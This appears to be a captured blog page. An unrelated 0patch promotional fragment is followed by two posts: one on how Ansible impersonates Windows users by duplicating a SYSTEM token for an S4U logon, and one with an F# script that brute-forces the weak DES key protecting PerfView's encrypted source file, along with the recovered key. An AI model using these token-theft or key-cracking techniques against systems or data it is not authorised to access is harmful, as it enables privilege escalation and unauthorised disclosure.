If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.
We'd like to thank Filip Dragovic for sharing details about this vulnerability, which allowed us to create a micropatch and protect our users. We also encourage security researchers to privately share their analyses with us for micropatching.
How Ansible impersonates users on Windows
Recently, I hit an interesting error during a deployment orchestrated by Ansible. One of the deployment steps was to execute a custom .NET application. Unfortunately, the application was failing on each run with an ACCESS DENIED error. After collecting the stack trace, I found that the failing code was ProtectedData.Protect(messageBytes, null, DataProtectionScope.CurrentUser)
, so a call to the Data Protection API. To pinpoint a problem I created a simple playbook:
- hosts: all gather_facts: no vars: ansible_user: testu ansible_connection: winrm ansible_winrm_transport: basic ansible_winrm_server_cert_validation: ignore tasks: - win_shell: | Add-Type -AssemblyName "System.Security"; \ [System.Security.Cryptography.ProtectedData]::Protect([System.Text.Encoding]::GetEncoding( "UTF-8").GetBytes("test12345"), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) args: executable: powershell register: output - debug: var: output
When I run it I get the following error:
fatal: [192.168.0.30]: FAILED! => {"changed": true, "cmd": "Add-Type -AssemblyName \"System.Security\"; [System.Security.Cryptography.ProtectedData]::Protect([System.Text.Encoding]::GetEncoding(\n \"UTF-8\").GetBytes(\"test\"), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)", "delta": "0:00:00.807970", "end": "2020-05-04 11:34:29.469908", "msg": "non-zero return code", "rc": 1, "start": "2020-05-04 11:34:28.661938", "stderr": "Exception calling \"Protect\" with \"3\" argument(s): \"Access is denied.\r\n\"\r\nAt line:1 char:107\r\n+ ... .Security\"; [System.Security.Cryptography.ProtectedData]::Protect([Sy ...\r\n+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n + CategoryInfo : NotSpecified: (:) [], MethodInvocationException\r\n + FullyQualifiedErrorId : CryptographicException", "stderr_lines": ["Exception calling \"Protect\" with \"3\" argument(s): \"Access is denied.", "\"", "At line:1 char:107", "+ ... .Security\"; [System.Security.Cryptography.ProtectedData]::Protect([Sy ...", "+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~", " + CategoryInfo : NotSpecified: (:) [], MethodInvocationException", " + FullyQualifiedErrorId : CryptographicException"], "stdout": "", "stdout_lines": []}
The workaround to make it always work was to use the Ansible become parameters:
... tasks: - win_shell: | Add-Type -AssemblyName "System.Security"; \ [System.Security.Cryptography.ProtectedData]::Protect([System.Text.Encoding]::GetEncoding( "UTF-8").GetBytes("test12345"), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) args: executable: powershell become_method: runas become_user: testu become: yes register: output ...
Interestingly, the original playbook succeeds if the testu user has signed in to the remote system interactively (for example, by opening an RDP session) and encrypted something with DPAPI before running the script.
It only made me even more curious about what is happening here. I hope it made you too
What happens when you encrypt data with DPAPI
When you call CryptProtectData (or its managed wrapper ProtectedData.Protect), internally you are connecting to an RPC endpoint protected_storage exposed by the Lsass process. The procedure s_SSCryptProtectData, implemented in the dpapisrv.dll library, encrypts the data using the user’s master key. The master key is encrypted, and to decrypt it, Lsass needs a hash of the user’s password. The decryption process involves multiple steps, and if you are interested in its details, have a look at this post.
Examining the impersonation code
Before we dive into the Ansible impersonation code, I highly recommend checking the Ansible documentation on this subject as it is exceptional and covers all the authentication cases. In this post, I am describing only my case, when I am not specifying the become_user password. However, by reading the referenced code, you should have no problems in understanding other scenarios as well.
Four C# files contain the impersonation code, with the most important one being Ansible.Become.cs. Become flags define what type of access token Ansible creates for a given user session. Get-BecomeFlags contains the logic of the flags parser and handles the interaction with the C# code.
A side note: while playing with the exec wrapper, I discovered an interesting environment variable: ANSIBLE_EXEC_DEBUG. You may set its value to a path of a file where you want Ansible to write its logs. They might reveal some details on how Ansible executes your commands.
For my case, the logic of the become_wrapper could be expressed in the following PowerShell commands:
PS> Import-Module -Name $pwd\Ansible.ModuleUtils.AddType.psm1 PS> $cs = [System.IO.File]::ReadAllText("$pwd\Ansible.Become.cs"), [System.IO.File]::ReadAllText("$pwd\Ansible.Process.cs"), [System.IO.File]::ReadAllText("$pwd\Ansible.AccessToken.cs") PS> Add-CSharpType -References $cs -IncludeDebugInfo -CompileSymbols @("TRACE") PS> [Ansible.Become.BecomeUtil]::CreateProcessAsUser("testu", [NullString]::Value, "powershell.exe -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBU...MAZQByACkA") StandardOut ----------- 1...
The stripped base64 string is the encoded version of the commands I had in my Ansible playbook:
PS> [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("QQBkAGQALQBU...MAZQByACkA")) Add-Type -AssemblyName "System.Security";[System.Security.Cryptography.ProtectedData]::Protect([System.Text.Encoding]::GetEncoding("UTF-16LE").GetBytes("test12345"), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
The CreateProcessAsUser method internally calls GetUserTokens to create an elevated and a regular token (or only one if no elevation is available/required). As I do not specify a password neither a logon type, my code will eventually call GetS4UTokenForUser. S4U, or in other words, “Service for Users”, is a solution that allows services to obtain a logon for the user, but without providing the user’s credentials. To use S4U, services call the LsaLogonUser method, passing a KERB_S4U_LOGON structure as the AuthenticationInformation parameter. Of course, not all services can impersonate users. Firstly, the service must have the “Act as part of the operating system” privilege (SeTcbPrivilege). Secondly, it must register itself as a logon application (LsaRegisterLogonProcess). So how Ansible achieves that? It simply tries to “steal” (duplicate ;)) a token from one of the privileged processes by executing GetPrimaryTokenForUser(new SecurityIdentifier("S-1-5-18"), new List<string>() { "SeTcbPrivilege" })
. As this method code is not very long and well documented, let me cite it here (GPL 3.0 license):
private static SafeNativeHandle GetPrimaryTokenForUser(SecurityIdentifier sid, List<string> requiredPrivileges = null) { // According to CreateProcessWithTokenW we require a token with // TOKEN_QUERY, TOKEN_DUPLICATE and TOKEN_ASSIGN_PRIMARY // Also add in TOKEN_IMPERSONATE so we can get an impersonated token TokenAccessLevels dwAccess = TokenAccessLevels.Query | TokenAccessLevels.Duplicate | TokenAccessLevels.AssignPrimary | TokenAccessLevels.Impersonate; foreach (SafeNativeHandle hToken in TokenUtil.EnumerateUserTokens(sid, dwAccess)) { // Filter out any Network logon tokens, using become with that is useless when S4U // can give us a Batch logon NativeHelpers.SECURITY_LOGON_TYPE tokenLogonType = GetTokenLogonType(hToken); if (tokenLogonType == NativeHelpers.SECURITY_LOGON_TYPE.Network) continue; // Check that the required privileges are on the token if (requiredPrivileges != null) { List<string> actualPrivileges = TokenUtil.GetTokenPrivileges(hToken).Select(x => x.Name).ToList(); int missing = requiredPrivileges.Where(x => !actualPrivileges.Contains(x)).Count(); if (missing > 0) continue; } // Duplicate the token to convert it to a primary token with the access level required. try { return TokenUtil.DuplicateToken(hToken, TokenAccessLevels.MaximumAllowed, SecurityImpersonationLevel.Anonymous, TokenType.Primary); } catch (Process.Win32Exception) { continue; } } return null; } public static IEnumerable<SafeNativeHandle> EnumerateUserTokens(SecurityIdentifier sid, TokenAccessLevels access = TokenAccessLevels.Query) { foreach (System.Diagnostics.Process process in System.Diagnostics.Process.GetProcesses()) { // We always need the Query access level so we can query the TokenUser using (process) using (SafeNativeHandle hToken = TryOpenAccessToken(process, access | TokenAccessLevels.Query)) { if (hToken == null) continue; if (!sid.Equals(GetTokenUser(hToken))) continue; yield return hToken; } } } private static SafeNativeHandle TryOpenAccessToken(System.Diagnostics.Process process, TokenAccessLevels access) { try { using (SafeNativeHandle hProcess = OpenProcess(process.Id, ProcessAccessFlags.QueryInformation, false)) return OpenProcessToken(hProcess, access); } catch (Win32Exception) { return null; } }
Once Ansible obtains the SYSTEM token, it can register itself as a logon application and finally call LsaLogonUser to obtain the impersonation token (GetS4UTokenForUser). With the right token, it can execute CreateProcessWithTokenW and start the process in a desired user’s context.
Playing with the access tokens using TokenViewer
As we reached this point, maybe it is worth to play a bit more with Windows tokens, and try to reproduce the initial Access Denied error. For this purpose, I slightly modified the TokenViewer tool developed by James Forshaw (Google). You may find the code of my version in my blog repository.
Let’s run TokenViewer as the SYSTEM user. That should give us SeTcbPrivilege, necessary to create an impersonated tokens: psexec -s -i TokenViewer.exe
. Next, let’s create an access token for the Network logon type:
On the group tab, there should be the NT AUTHORITY\NETWORK group listed. Now, let’s try to encrypt the “Hello World!” text with DPAPI on the Operations tab. We should receive an Access Denied error:
Leave the Token window open, move to the main window, and create a token for the Batch logon type. This is the token Ansible creates in the “become mode”. The groups tab should have the NT AUTHORITY\BATCH group enabled, and DPAPI encryption should work. Don’t close this window and move back to the previous token window. DPAPI will work now too.
I am not familiar enough with Lsass to explain in details what is happening here. However, I assume that the DPAPI problem is caused by the fact that Lsass does not cache user credentials when the user signs in with the logon type NETWORK (probably because of the performance reasons). Therefore, the lsasrv!LsapGetCredentials method fails when DPAPI calls it to retrieve the user password’s hash to decrypt the master key. Interestingly, if we open another session for a given user (for example, an interactive one), and call DPAPI to encrypt/decrypt some data, the user’s master key lands in the cache (lsasrv!g_MasterKeyCacheList). DPAPI searches this cache (dpapisrv!SearchMasterKeyCache) before calling LsapGetCredentials. That explains why our second call to DPAPI succeeded in the NETWORK logon session.
lowleveldesign
Decrypting PerfView’s OSExtensions.cs file
While analyzing the PerfView source code, I stumbled upon an interesting README file in the src/OSExtensions folder:
// The OSExtensions.DLL is a DLL that contains a small number of extensions // to the operating system that allow it to do certain ETW operations. // // However this DLL is implemented using private OS APIs, and as such should // really be considered part of the operating system (until such time as // the OS provide the functionality in public APIs). // // To discourage taking dependencies on these internal details we do not // provide the source code for this DLL in the open source repo. // // IF YOU SIMPLY WANT TO BUILD PERFIVEW YOU DO NOT NEED TO BUILD OSExtensions! // A binary copy of this DLL is included in the TraceEvent\OSExtensions. //*************************************************************************** // However we don't want this source code to be lost. So we check it in // with the rest of the code but in an encrypted form for only those few // OS developers who may need to update this interface. These people // should have access to the password needed to unencrpt the file. // // As part of the build process for OSExtension.dll, we run the command 'syncEncrypted.exe'. // This command keeps a encrypted and unencrypted version of a a file in sync. // Currently it is run on this pair // // OSExtensions.cs <--> OSExtesions.cs.crypt // // Using a password file 'password.txt' // // Thus if the password.txt exists and OSExtesions.cs.crypt exist, it will // unencrypt it to OSExtesions.cs. If OSExtesions.cs is newer, it will // be reencrypted to OSExtesions.cs.crypt.
Hmm, private OS APIs seem pretty exciting, right? A simple way to check these APIs would be to disassemble the OSExtensions.dll (for example, with dnSpy). But this method would not show us comments. And for internal APIs, they might contain valuable information. So let’s see if we can do better.
How OSExtensions.cs.crypt is encrypted
As mentioned in the README, internal PerfView developers should use the provided password.txt file and the SyncEncrypted.exe application. The SyncEncrypted.exe binaries are in the same folder as OSExtensions.cs.crypt, and they are not obfuscated. So we could see what’s the encryption method in use. The Decrypt
method disassembled by dnSpy looks as follows:
// Token: 0x06000003 RID: 3 RVA: 0x000022A8 File Offset: 0x000004A8 private static void Decrypt(string inFileName, string outFileName, string password) { Console.WriteLine("Decrypting {0} -> {1}", inFileName, outFileName); using (FileStream fileStream = new FileStream(inFileName, FileMode.Open, FileAccess.Read)) { using (FileStream fileStream2 = new FileStream(outFileName, FileMode.Create, FileAccess.Write)) { using (CryptoStream cryptoStream = new CryptoStream(fileStream, new DESCryptoServiceProvider { Key = Program.GetKey(password), IV = Program.GetKey(password) }.CreateDecryptor(), CryptoStreamMode.Read)) { cryptoStream.CopyTo(fileStream2); } } } }
You don’t see DES being used nowadays as its key length (56-bit) is too short for secure communication. However, 56-bit key space contains around 7,2 x 1016 keys, which may be nothing for NSA but, on my desktop, I wouldn’t finish the decryption in my lifetime. As you’re reading this post, you may assume I found another way :). The key to the shortcut is the Program.GetKey
method:
// Token: 0x06000004 RID: 4 RVA: 0x0000235C File Offset: 0x0000055C private static byte[] GetKey(string password) { return Encoding.ASCII.GetBytes(password.GetHashCode().ToString("x").PadLeft(8, '0')); }
The code above produces up to to 232 (4 294 967 296) unique keys, which is also the number of possible hash codes. And attacking such a key space is possible even on my desktop.
Preparing the decryption process
Now, it’s time to decide what we should call successful decryption. Firstly, it must not throw an exception, so the padding must be valid. As the padding is not explicitly set, DES will use PKCS7. Also, the mode for operation will be CBC:
We also know that the resulting C# file should contain mostly readable text, so it should have a high percentage of bytes in the ASCII range (assuming the data is UTF-8 encoded). Checking all these conditions would work best if we were trying to decrypt the whole file in each try. However, doing so would consume much time as the file is about 40 KB in size. An improvement would be to use the first few blocks of the encrypted file for counting the ASCII statistics, and two last blocks for the padding validation. Fortunately, we can do even better. I noticed that all the source code files in the repository are UTF-8 encoded with BOM. That means we could try decrypting only the first 64 bits of the ciphertext and check if the resulting plaintext starts with 0xEF
, 0xBB
, 0xBF
. If it does, it may be the plaintext we are looking for. By appending the last two blocks of the ciphertext, we could also validate the padding. I haven’t done that, and I just disabled padding in DES. My decryptor code in F# (I’m still learning it) looks as follows:
open System open System.IO open System.Reflection open System.Security.Cryptography open System.Text open System.Threading let chars = "0123456789abcdef"B [<Literal>] let PassLen = 8 let homePath = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) let decrypt (des : DESCryptoServiceProvider) (cipher : byte array) (plain : byte array) (key : byte array) = use instream = new MemoryStream(cipher) use outstream = new MemoryStream(plain) use decryptor = des.CreateDecryptor(key, key) use cryptostream = new CryptoStream(instream, decryptor, CryptoStreamMode.Read) cryptostream.CopyTo(outstream) let rec gen n (s : byte array) = seq { for i = 0 to chars.Length - 1 do if n = s.Length - 1 then s.[n] <- chars.[i] yield s else s.[n] <- chars.[i] yield! gen (n + 1) s s.[n + 1] <- chars.[0] } let cipher = File.ReadAllBytes(Path.Combine(homePath, @"OSExtensions.cs.crypt")) let tryDecrypt (state : byte array) = let checkIfValid (plain : byte array) = plain.[0] = byte(0xef) && plain.[1] = byte(0xbb) && plain.[2] = byte(0xbf) // no padding so we won't throw unnecessary exceptions use des = new DESCryptoServiceProvider(Padding = PaddingMode.None) let plain = Array.create PassLen 0uy // we will generate all random strings starting from the second place in the string for pass in (gen 1 state) do decrypt des cipher plain pass if checkIfValid plain then let fileName = sprintf "pass_%d_%d.txt" Thread.CurrentThread.ManagedThreadId DateTime.UtcNow.Ticks File.WriteAllLines(Path.Combine(homePath, fileName), [| sprintf "Found pass: %s" (Encoding.ASCII.GetString(pass)); sprintf "Decrypted: %s" (Encoding.ASCII.GetString(plain)) |]) [<EntryPoint>] let main argv = let zeroArray = Array.create (PassLen - 1) '0'B chars |> Array.map (fun ch -> async { zeroArray |> Array.append [| ch |] |> tryDecrypt }) |> Async.Parallel |> Async.RunSynchronously |> ignore 0 // return an integer exit code
It’s also published in my blog samples repository.
And the content of OSExtensions.cs.crypt is:
0 1 2 3 4 5 6 7 8 9 A B C D E F 0000: 7b 37 a0 49 50 0b b2 49 {7.IP..I
Decrypting the file
After about 40 minutes, the application generated 108 pass_ files already and one of them had the following content:
Found pass: 436886a4 Decrypted: ???using
The using
statement is a very probable beginning of the C# file :). And indeed, the hash code above decrypts the whole OSExtensions.cs.crypt file. We won’t know the original PerfView password, but, as an exercise, you may try to look for strings that have the above hash code. If you find one, please leave a comment!